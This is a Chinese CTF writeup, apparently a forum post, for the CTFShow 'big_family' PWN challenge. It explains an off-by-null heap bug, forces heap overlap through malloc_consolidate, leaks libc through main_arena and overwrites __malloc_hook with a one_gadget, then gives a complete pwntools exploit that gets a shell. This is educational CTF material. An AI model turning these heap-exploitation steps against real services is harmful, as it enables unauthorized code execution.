首页
社区
课程
招聘
[原创]CTFShow family(PWN) writeup
2021-4-16 14:36 10006

[原创]CTFShow family(PWN) writeup

2021-4-16 14:36
10006

PWN (Off by null)

0x00 前置知识

  • malloc_consolidate

    使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存

    在 malloc 分配内存时,首先会一次扫描一遍 fastbin , smallbin , unsorted bin ,largebin, 如果都找不到可以分配的 chunk 分配给用户 , 会进入 top_chunk 分配的流程, 如果此时还有fastbin ,就会触发堆合并机制,把 fastbin 合并 之后放入 smallbin,再看能否分配,不能的话会使用 top_chunk 进行分配

  • main_arena attack

    当我们申请不到free_hook,malloc_hook上方的位置时,我们可以将堆块申请到main_arena,然后覆盖top chunk为hook函数上方的位置,完成利用

0x10 漏洞分析

本次使用的例题是ctfshow大吉大利杯的一道堆题,big_family

 

正常检查保护后发现保护全开,在 read_n 函数里面发现一个 Off by null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __cdecl read_n(char *buf, size_t len)
{
  char ch_0; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  for ( i = 0; i < len; ++i )
  {
    ch_0 = 0;
    if ( read(0, &ch_0, 1uLL) < 0 )
    {
      puts("Read error!!\n");
      exit(1);
    }
    buf[i] = ch_0;
    if ( ch_0 == 10 )
      break;
  }
  buf[i] = 0; // 固定向后面添加一个'\x00' 字符
}

我们看 Add 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __cdecl buildhouse()
{
  int size; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )
    {
      puts("You can't build a house anymore!");
      return;
    }
    if ( !house[i] )
      break;
  }
  puts("How big a house do you want to build?");
  if ( (unsigned int)_isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  if ( size <= 0 || size > 0x47 ) // fastbin
  {
    puts("Your house is not the right size");
    exit(-1);
  }
  buf = (char *)malloc(size);
  if ( !buf )
  {
    puts("Something wrong in building !!");
    exit(-1);
  }
  house[i] = buf;
  puts("How do you want to decorate your house?");
  read_n(house[i], size);
  puts("Done,your house is completed!");
}

在 Add 函数中我们发现我们可以申请的size 最大只有 0x47大小,也就是最大0x50大小的堆块

 

Show 函数以及 Delete函数没太大问题

0x20 漏洞利用

由于我们可以申请的堆块大小被限制到了只能被free到fastbin里,而我们又要泄漏libc基地址,因此我们只能通过scanf会调用malloc分配内存的办法来使堆块合并

1
2
3
4
5
6
7
Add(0x18,'start')#0
Add(0x18,'f')#1
Add(0x38,'f')#2
Add(0x28,'f')#3
Add(0x38,'f')#4
Add(0x38,'a'*0x20+p64(0x100)+p64(0x10))#5
Add(0x10,'f')#6

首先我们可以申请出6个堆块,我们要通过第一个堆块来利用 Off by null 修改合并后的smallbin的size,以及第6个堆块来防止前面堆块与 top_chunk发生合并,而由于是 Off by null 我们要让 chunk1-5 的size 相加等于 0x110,然后覆盖为 0x100来构造堆块重叠

 

现在的堆结构是这样的:

 

image-20210125214838786

1
2
3
4
5
for i in range(1,6):
    Delete(i)
sh.sendlineafter('Choice:',"1"*0x400)
Delete(0)
Add(0x18,'a'*0x18)#0

构造samllbin并且修改smallbin的size为0x100

 

image-20210125215952827

1
2
3
4
5
Add(0x18,'a')#1
Add(0x28,'f')#2
Add(0x38,'b')#3
Add(0x38,'c')#4
Add(0x38,'d')#5

将smallbin分割成5个大小相加为0x100大小的块, 此时堆块情况

 

image-20210301153218829

 

然后通过向scanf输入0x400个1来触发malloc_consolidate,使其刚好留出0x10大小的空间便于我们利用

1
2
Delete(1)
Delete(2)

之后我们删除1,2号块,用于我们接下来利用off by null 对二号块的size位进行覆盖的操作

1
2
3
sh.sendlineafter('Choice:',"1"*0x400)
Delete(6)
sh.sendlineafter('Choice:',"1"*0x400)

删除1,2号块后,我们需要利用malloc_consolidate,把删除的1,2,号块,合并进入smallbin, 之后删除6号块,在触发一次malloc_consoildate,使其向前合并

 

image-20210301160304233

 

向前合并之后,我们可以发现我们得到了一个包含没有被free过的一个0x130的空闲堆块,也就是说我们可以通过这个堆块来制造堆块重叠了

1
2
3
Add(0x38,'a')#1
Add(0x18,'b')#2
Add(0x28,'c')#6

image-20210301161439306

 

我们将1,2,6号堆块申请回来,同时设置好size,就可以覆盖3号堆块,或者其他堆块的内容为main_arena+88,然后通过show函数就可以泄漏libc了

1
2
3
4
5
6
main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88
libc_base = main_arena - 0x3c4b20
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

泄漏出libc之后,我们发现,我们申请申请不到free_hook上面的位置,我们只能使用main_arean attack来进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Add(0x28,'a')#7-->3
Add(0x38,'b')#8-->4
Add(0x38,'c')#9
Add(0x28,'d')#10
Add(0x47,p64(0x41))#11
Add(0x47,p64(0x41))#12
Delete(11)
Delete(12)
Add(0x47,p64(0x41))
Delete(3)
Delete(10)
Delete(7)
 
Add(0x28,p64(0x41)*2)
Add(0x28,'f0und')
Add(0x28,p64(0x41)*2)

申请出两个重叠堆块,并利用main_arena的机制使,main_arena中出现一个size

 

image-20210301162535742

 

然后我们将堆块申请到main_arena上,由于size大小不够,我们一次申请覆盖不到top_chunk的位置,因此我们可以分两次,先在后面的位置在写上一个size,然后就可以申请到了

1
2
3
4
Add(0x38,p64(main_arena+8))
Add(0x38,p64(main_arena+8))
Add(0x38,p64(main_arena+8))
Add(0x38,p64(main_arena+48)+p64(0)*3+p64(0x41))

image-20210301163646101

 

覆盖top_chunk,getshell

1
2
3
4
5
6
7
Add(0x38,p64(0)*3+p64(malloc_hook-0x18))
#getshell local
Add(0x38,p64(one_gadget_local)+p64(realloc+13))
sh.recvuntil("Choice:")
sh.sendline('1')
sh.recvuntil("How big a house do you want to build?\n")
sh.sendline('2')

由于onegadget的条件限制,我们可以利用realloc来调节栈帧,其原理是,realloc前面有很多push指令,可以用来调偏移,使其可以满足onegadget (rbp+0x30==null) 的条件,因此我们将malloc_hook设置为realloc+13的地方,将realloc_hook设置为onegadget就可以getshell

 

image-20210301164913045

 

getshell

 

image-20210301165341674

0x30 Final Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#/usr/bin/env python
#-*-coding:utf-8-*-
 
from pwn import *
from LibcSearcher import *
 
proc="./family"
 
elf=ELF(proc)
 
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 
context.log_level="debug"
 
def Add(des_size,des):
    sh.recvuntil("Choice:")
    sh.sendline(str(1))
    sh.recvuntil("How big a house do you want to build?\n")
    sh.sendline(str(des_size))
    sh.recvuntil("How do you want to decorate your house?\n")
    sh.sendline(des)
 
 
def Delete(index):
    sh.recvuntil("Choice:")
    sh.sendline(str(2))
    sh.recvuntil("Which house do you want to remove?\n")
    sh.sendline(str(index))
 
def Show(index):
    sh.recvuntil("Choice:")
    sh.sendline(str(3))
    sh.recvuntil("Which house do you want to view?\n")
    sh.sendline(str(index))
 
 
def pwn(ip,port,debug):
    global sh
    if debug==1:
        context.log_level="debug"
        sh=process(proc)
    else:
        sh=remote(ip,port)
 
 
    Add(0x18,'start')#0
    Add(0x18,'f')#1
    Add(0x38,'f')#2
    Add(0x28,'f')#3
    Add(0x38,'f')#4
    Add(0x38,p64(8)*4+p64(0x100)+p64(0x10))#5
    Add(0x10,'f')#6
    for i in range(1,6):
        Delete(i)
    sh.sendlineafter('Choice:',"1"*0x400)
    Delete(0)
    Add(0x18,'a'*0x18)#0
    Add(0x18,'a')#1
    Add(0x38,'f')#2
    Add(0x28,'b')#3
    Add(0x38,'c')#4
    Add(0x38,'d')#5
    Delete(1)
    Delete(2)
    sh.sendlineafter('Choice:',"1"*0x400)
    Delete(6)
    sh.sendlineafter('Choice:',"1"*0x400)
    Add(0x38,'a')#1
    Add(0x18,'b')#2
    Add(0x28,'c')#6
    Show(3)
    main_arena = u64(sh.recvuntil('\x7f').ljust(8,'\x00'))- 88
    libc_base = main_arena - 0x3c4b20
    free_hook = libc_base + libc.symbols['__free_hook']
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    realloc = libc_base + libc.symbols['__libc_realloc']
    one_gadget = libc_base + 0x4526a
    one_gadget_local = libc_base + 0x4527a
    log.info("libc_base: "+hex(libc_base))
    log.info("main_arena: "+hex(main_arena))
    log.info("free_hook: "+hex(free_hook))
    log.info("malloc_hook: "+hex(malloc_hook))
    Add(0x28,'a')#7-->3
    Add(0x38,'b')#8-->4
    Add(0x38,'c')#9
    Add(0x28,'d')#10
    Add(0x47,p64(0x41))#11
    Add(0x47,p64(0x41))#12
    Delete(11)
    Delete(12)
    Add(0x47,p64(0x41))
    Delete(3)
    Delete(10)
    Delete(7)
 
    Add(0x28,p64(0x41)*2)
    Add(0x28,'f0und')
    Add(0x28,p64(0x41)*2)
 
    Delete(8)
    Delete(9)
    Delete(4)
 
    Add(0x38,p64(main_arena+8))
    Add(0x38,p64(main_arena+8))
    Add(0x38,p64(main_arena+8))
    Add(0x38,p64(main_arena+48)+p64(0)*3+p64(0x41))
    Add(0x38,p64(0)*3+p64(malloc_hook-0x18))
    #Add(0x38,p64(one_gadget)*2+p64(realloc+13))
    #getshell local
    Add(0x38,p64(one_gadget_local)+p64(realloc+13))
    sh.recvuntil("Choice:")
    sh.sendline('1')
    sh.recvuntil("How big a house do you want to build?\n")
    sh.sendline('2')
 
    sh.interactive()
 
if __name__ =="__main__":
    pwn("111.231.70.44",28006,1)

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-5-4 01:05 被F0und编辑 ,原因: 部分地方解释起来理解有问题
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回